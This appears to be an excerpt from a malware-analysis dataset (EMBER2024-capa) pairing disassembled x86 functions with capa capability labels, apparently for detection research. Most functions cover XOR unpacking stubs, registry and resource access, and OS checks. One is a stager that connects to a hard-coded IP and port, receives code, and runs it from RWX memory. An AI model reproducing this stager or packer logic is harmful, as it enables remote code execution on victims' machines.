joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432b54
Capabilities:
Persist via run registry key

Disassembly:
push 0x1c
mov eax, 0x4731dc
call fcn.004550bc
mov edi, ecx
lea ecx, [ebp - 0x28]
call fcn.00435c47
xor esi, esi
push SysReAllocStringLen
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], esi
call fcn.00435a09
push esi
push ecx
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerRecentDocs
call fcn.00401c93
lea ecx, [ebp - 0x28]
call fcn.00436002
cmp eax, esi
je 0x432ba9
lea ecx, [ebp - 0x28]
call fcn.00435b7b
lea ecx, [ebp - 0x28]
call fcn.00435a64
push 0xffffffffffffffff
lea ecx, [edi + 0x1450]
push esi
call fcn.0044a148
lea esi, [edi + 0x144c]
mov ebx, 0x477979
push ebx
mov ecx, esi
call fcn.00401759
push SysReAllocStringLen
lea ecx, [ebp - 0x28]
call fcn.00435a09
push 0
push ecx
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
call fcn.00401c93
lea ecx, [ebp - 0x28]
call fcn.00436002
test eax, eax
je 0x432c71
push ecx
mov ecx, esp
mov dword [ebp - 0x14], esp
push ebx
call fcn.00401c93
push ecx
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.Recent
mov byte [ebp - 4], 1
call fcn.00401c93
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0
call fcn.00436249
push eax
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.0040170c
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.004010af
mov eax, dword [esi]
cmp dword [eax - 0xc], 0
je 0x432c71
lea ecx, [edi + 0x1450]
mov eax, dword [ecx + 8]
push esi
push eax
call fcn.0044a503
lea ecx, [edi + 0x147c]
push 0x48d97c
call fcn.00401759
push 3
mov ecx, edi
call fcn.0041f334
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00435c67
call fcn.0045515b
ret
Function at 0x46cb44
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4a946c]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0046cad9
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00457260
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x46cb93
cmp dword [ebp - 0x1c], 5
jb 0x46cbab
jmp 0x46cba7
cmp dword [ebp - 0x10], 1
jne 0x46cbab
cmp dword [ebp - 0x1c], 4
ja 0x46cba7
jne 0x46cbab
cmp dword [ebp - 0x18], 0
jbe 0x46cbab
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x495988
call fcn.0046c9ca
test eax, eax
jge 0x46cbcc
mov byte [0x4b9fbc], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004550ad
add ebp, 0x78
leave
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x40de38
nop
nop
mov ecx, 0xb8229e9
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data_1
mov ebx, 0x4304d8
nop
mov ecx, 0x661f7519
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x10001dc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x10001de9
pop edi
pop ebx
pop ebp
ret
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10001dff
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10001df6
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x10001e32
nop
cmp esi, ecx
jae 0x10001df6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x10001e20
cmp esi, ecx
jae 0x10001df6
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x10003920
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
lea eax, [ebp - 0x110]
mov esi, ecx
push eax
push 0
push 0
push 0x1c
push 0
mov dword [ebp - 4], esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x1000397f
xorps xmm0, xmm0
lea ecx, [ebp - 0x110]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], eax
lea edx, [ecx + 1]
mov dword [esi + 0x14], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003960
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
mov ecx, esi
call fcn.10008650
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.10007ed0
push eax
call fcn.10008170
xorps xmm0, xmm0
add esp, 4
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov eax, esi
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10004fa0
Capabilities:
Allocate or change rwx memory
Connect socket
Create thread
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
push ebx
push esi
push edi
lea eax, [esp + 0x30]
mov dword [esp + 0xc], 0
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x18], 2
push eax
xorps xmm0, xmm0
mov dword [esp + 0x20], 1
push str.10009
push str.154.221.27.75
movlpd qword [esp + 0x30], xmm0
movlpd qword [esp + 0x38], xmm0
mov dword [esp + 0x2c], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x1000514d
mov esi, dword [esp + 0xc]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
je 0x10005078
mov ebx, dword [sym.imp.WS2_32.dll_connect]
nop dword [eax]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x101e8544], eax
cmp eax, 0xffffffff
je 0x1000514d
push dword [esi + 0x10]
push dword [esi + 0x18]
push eax
call ebx
cmp eax, 0xffffffff
jne 0x10005074
push dword [0x101e8544]
call edi
mov esi, dword [esi + 0x1c]
mov dword [0x101e8544], 0xffffffff
test esi, esi
jne 0x10005030
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [0x101e8544], 0xffffffff
je 0x1000514d
mov esi, dword [sym.imp.WS2_32.dll_recv]
mov eax, dword [0x101df998]
mov ecx, dword [0x101e8540]
nop dword [eax]
push 0
sub eax, ecx
push eax
mov eax, dword [0x101e8614]
add eax, ecx
push eax
push dword [0x101e8544]
call esi
test eax, eax
jle 0x100050f4
mov ecx, dword [0x101e8540]
add ecx, eax
mov eax, dword [0x101df998]
mov dword [0x101e8540], ecx
cmp ecx, eax
jne 0x100050a0
add eax, eax
push eax
push dword [0x101e8614]
call fcn.10157ae2
mov dword [0x101e8614], eax
add esp, 8
mov eax, dword [0x101df998]
add eax, eax
mov dword [0x101df998], eax
jmp 0x10005097
push 0
push 0
push 0
push 0x100039c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x40
push 0x3000
push dword [0x101e8540]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [0x101e8540]
mov esi, eax
push dword [0x101e8614]
push esi
call fcn.10154070
add esp, 0xc
call esi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [0x101e8544]
call edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006680
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1017bce0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push edi
mov dword [ebp - 0x10], ecx
mov edi, dword [ebp + 8]
push edi
mov dword [ebp - 4], 0
call fcn.1001a66f
mov ebx, eax
mov dword [ebp - 4], 0xffffffff
test ebx, ebx
jne 0x100066cd
pop edi
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
mov eax, edi
shr eax, 4
push esi
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x100067c5
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x100066fc
xor esi, esi
jmp 0x10006742
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10006742
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x10006732
nop dword [eax + eax]
cmp esi, ecx
jae 0x10006736
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x10006720
cmp esi, ecx
jb 0x1000673a
xor esi, esi
jmp 0x10006742
xor eax, eax
cmp word [esi], ax
cmove esi, eax
test esi, esi
je 0x100067c5
movzx eax, word [esi]
lea ecx, [esi + 2]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
js 0x100067da
mov ebx, dword [ebp - 0x10]
mov edx, 1
mov ecx, dword [ebx]
sub edx, dword [ecx - 4]
mov ecx, dword [ecx - 8]
sub ecx, edi
or edx, ecx
jge 0x10006784
push edi
mov ecx, ebx
call fcn.10007a30
movzx eax, word [esi]
push 0
push 0
push edi
push dword [ebx]
push eax
lea eax, [esi + 2]
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebx]
cmp edi, dword [eax - 8]
jg 0x100067da
mov dword [eax - 0xc], edi
mov eax, dword [ebx]
pop esi
mov byte [edi + eax], 0
mov eax, 1
pop edi
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop esi
pop edi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.10001d70
int3
Function at 0x10007040
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1017bd4f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, ecx
push esi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x18], 0
push edi
lea ecx, [ebx + 0x68]
mov dword [ebx], 0x101be8b4
call fcn.100073a0
push 0
lea esi, [ebx + 4]
mov dword [ebp - 4], 0
push 0
push esi
mov ecx, ebx
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], esi
call fcn.10007220
mov dword [ebp - 4], 1
mov eax, dword [ebx]
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x1c], esi
lea eax, [ecx - 0x68]
mov dword [ecx + ebx - 4], eax
mov ecx, esi
call fcn.100077d0
lea eax, [ebx + 4]
lea ebx, [eax + 4]
mov dword [eax], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov dword [eax + 0xc], ebx
lea ecx, [eax + 0x18]
mov byte [eax + 0x48], 0
lea esi, [eax + 8]
mov byte [eax + 0x3d], 0
lea edi, [eax + 0x14]
mov dword [eax + 0x10], esi
lea edx, [eax + 0x24]
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x14]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x1c]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov ebx, dword [ebp - 0x14]
mov dword [edi], 0
mov dword [edx], 0
mov dword [ebx + 0x4c], 0
mov eax, dword [0x101e8660]
mov ecx, dword [0x101e8664]
mov dword [ebx + 0x40], eax
mov dword [ebx + 0x44], ecx
mov dword [ebx + 0x38], 0
mov byte [ebp - 4], 2
cmp dword [ebx + 0x4c], 0
jne 0x100071c1
push 0x40
push 0x22
push dword [ebp + 8]
call fcn.10153322
add esp, 0xc
test eax, eax
je 0x100071c1
push 1
push eax
mov ecx, ebx
call fcn.10006e50
mov eax, dword [ebx + 0x34]
mov esi, dword [eax + 4]
mov ecx, esi
mov dword [ebp - 0x1c], esi
mov eax, dword [esi]
call dword [eax + 4]
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 3
push eax
call fcn.10008210
add esp, 4
mov ecx, ebx
push eax
call fcn.10006d20
test esi, esi
je 0x100071ab
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
test eax, eax
je 0x100071ab
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [ebp - 0x10]
push 0
mov eax, dword [esi]
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, esi
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10002ef0
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x100077d0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1017bce0
push eax
mov dword fs:[0], esp
push esi
mov esi, ecx
push edi
push 8
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.10018706
mov edi, eax
add esp, 4
test edi, edi
je 0x1000786c
push 1
mov dword [ebp - 4], 0
call fcn.10152f21
add esp, 4
mov dword [edi + 4], eax
jmp 0x1000786e
xor edi, edi
mov ecx, esi
mov dword [esi + 0x34], edi
call fcn.10007770
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100092e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
mov dword [ebp + 8], eax
pop ebp
jmp fcn.10018991
Function at 0x10017602
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x18
mov eax, 0x1017cc48
call fcn.10151c88
mov eax, ecx
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp + 0x10]
xor edi, edi
mov esi, dword [ebp + 0x14]
push edi
mov dword [ebx], edi
mov dword [esi], edi
cmp dword [eax + 0x58], edi
je 0x100176aa
push dword [ebp + 8]
call fcn.1001791f
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10017731
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], edi
push ecx
push edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push ecx
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x14], edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov dword [esi], ecx
test eax, eax
jne 0x10017693
push ecx
call fcn.1001db25
pop ecx
lea ecx, [ebp - 0x14]
mov dword [ebx], eax
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10017693
xor edi, edi
inc edi
jmp 0x1001769d
push dword [ebx]
call fcn.10009668
pop ecx
mov dword [ebx], edi
lea ecx, [ebp - 0x24]
call fcn.100174c9
jmp 0x1001772f
mov eax, dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov esi, dword [eax + 0x84]
lea eax, [ebp - 0x10]
push eax
mov ecx, esi
call dword [0x1018ba08]
mov ecx, dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], 1
mov ecx, dword [eax - 0xc]
test ecx, ecx
je 0x10017727
mov esi, dword [ebp + 0x14]
shr ecx, 1
push ecx
mov dword [esi], ecx
call fcn.1001db25
mov dword [ebx], eax
pop ecx
cmp dword [esi], edi
jbe 0x10017721
lea esi, [edi + edi]
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x10]
call fcn.100174a6
push esi
lea ecx, [ebp - 0x10]
lea ebx, [eax - 1]
shl bl, 4
sub bl, 0x41
call fcn.100174a6
mov ecx, dword [ebp + 0x10]
add al, bl
mov ecx, dword [ecx]
mov byte [edi + ecx], al
inc edi
mov eax, dword [ebp + 0x14]
cmp edi, dword [eax]
jb 0x100176ee
mov eax, dword [ebp - 0x10]
xor edi, edi
inc edi
lea ecx, [eax - 0x10]
call fcn.10001e50
mov eax, edi
call fcn.10151c56
ret 0x10

Function at 0x10017739
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
cmp dword [ecx + 0x58], esi
je 0x1001778c
push esi
push dword [ebp + 8]
call fcn.1001791f
mov edi, eax
test edi, edi
je 0x10017787
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x10017787
mov eax, dword [ebp - 8]
jmp 0x1001779e
mov eax, dword [ebp + 0x10]
jmp 0x1001779e
push dword [ecx + 0x6c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
pop edi
pop esi
leave
ret 0xc
Function at 0x100177a4
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1017cc75
mov eax, dword fs:[0]
push eax
mov eax, 0x101c
call fcn.10151e30
mov eax, dword [0x101dee80]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x101c], edi
mov dword [ebp - 0x1024], eax
cmp dword [ecx + 0x58], ebx
je 0x100178d2
push ebx
push edx
call fcn.1001791f
mov ebx, eax
test ebx, ebx
jne 0x1001780c
push esi
jmp 0x100178fa
lea ecx, [ebp - 0x1014]
call fcn.10006850
xor ecx, ecx
lea eax, [ebp - 0x1018]
push eax
push ecx
lea eax, [ebp - 0x1020]
mov dword [ebp - 4], ecx
push eax
push ecx
push dword [ebp - 0x1024]
mov dword [ebp - 0x1020], ecx
push ebx
mov dword [ebp - 0x1018], ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x101c], eax
test eax, eax
jne 0x10017891
push dword [ebp - 0x1018]
lea ecx, [ebp - 0x1014]
call fcn.10007690
lea ecx, [ebp - 0x1018]
push ecx
push eax
lea eax, [ebp - 0x1020]
push eax
push 0
push dword [ebp - 0x1024]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x1014]
mov dword [ebp - 0x101c], eax
call fcn.10017a5b
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x101c], 0
jne 0x100178bf
mov esi, dword [ebp - 0x1014]
add esi, 0xfffffff0
push esi
call fcn.1000a5ec
pop ecx
add eax, 0x10
mov ecx, esi
mov dword [edi], eax
call fcn.10001e50
jmp 0x10017901
push esi
mov ecx, edi
call fcn.10009f1e
mov ecx, dword [ebp - 0x1014]
lea ecx, [ecx - 0x10]
jmp 0x100178b8
test esi, esi
jne 0x100178db
mov esi, 0x101be5e4
push dword [ecx + 0x6c]
lea ecx, [ebp - 0x1010]
push 0x1000
push ecx
push esi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x1010]
push eax
mov ecx, edi
call fcn.10009f1e
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10151c48
leave
ret 0x10
Function at 0x10017af0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor ebx, ebx
push edi
mov edi, ecx
cmp dword [edi + 0x58], ebx
je 0x10017b38
push ebx
push dword [ebp + 8]
call fcn.1001791f
mov edi, eax
test edi, edi
je 0x10017b99
push dword [ebp + 0x14]
push esi
push 3
push ebx
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
jmp 0x10017b99
mov eax, dword [ebp + 0x14]
lea eax, [eax*2 + 1]
push eax
call fcn.1001db25
mov edx, dword [ebp + 0x14]
mov ebx, eax
pop ecx
xor ecx, ecx
test edx, edx
je 0x10017b6f
mov al, byte [esi + ecx]
and al, 0xf
add al, 0x41
mov byte [ebx + ecx*2], al
mov al, byte [esi + ecx]
shr al, 4
add al, 0x41
mov byte [ebx + ecx*2 + 1], al
inc ecx
cmp ecx, edx
jb 0x10017b54
mov byte [ebx + ecx*2], 0
mov eax, dword [edi]
push ebx
push dword [ebp + 0xc]
mov esi, dword [eax + 0x88]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1018ba08]
mov ecx, edi
call esi
push ebx
mov esi, eax
call fcn.10009668
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x100188fb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x84], 0
mov esi, dword [ebx + 0x8c]
mov edi, dword [ebx + 0x88]
je 0x10018943
call fcn.1002797c
push 5
push dword [ebx + 0x84]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x10018943
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x10018950
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
xor eax, eax
inc eax
test esi, esi
je 0x1001898c
mov edx, 0xffff
lea ecx, [esi + 0xc]
cmp word [esi + 2], dx
jne 0x1001896f
movzx edi, word [esi + 0x12]
movzx edx, word [esi + 0x14]
jmp 0x10018978
movzx edx, word [ecx]
mov ecx, esi
movzx edi, word [esi + 0xa]
test dword [ecx], 0x1801
jne 0x1001898a
test di, di
jne 0x1001898a
test dx, dx
je 0x1001898c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100189f5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, ecx
call fcn.1002797c
push 5
push dword [ebp + 8]
mov esi, dword [eax + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x10018a35
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10018a35
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push dword [ebp + 0xc]
mov ecx, edi
push eax
call fcn.10018a3d
jmp 0x10018a37
xor eax, eax
pop edi
pop esi
pop ebp
ret 8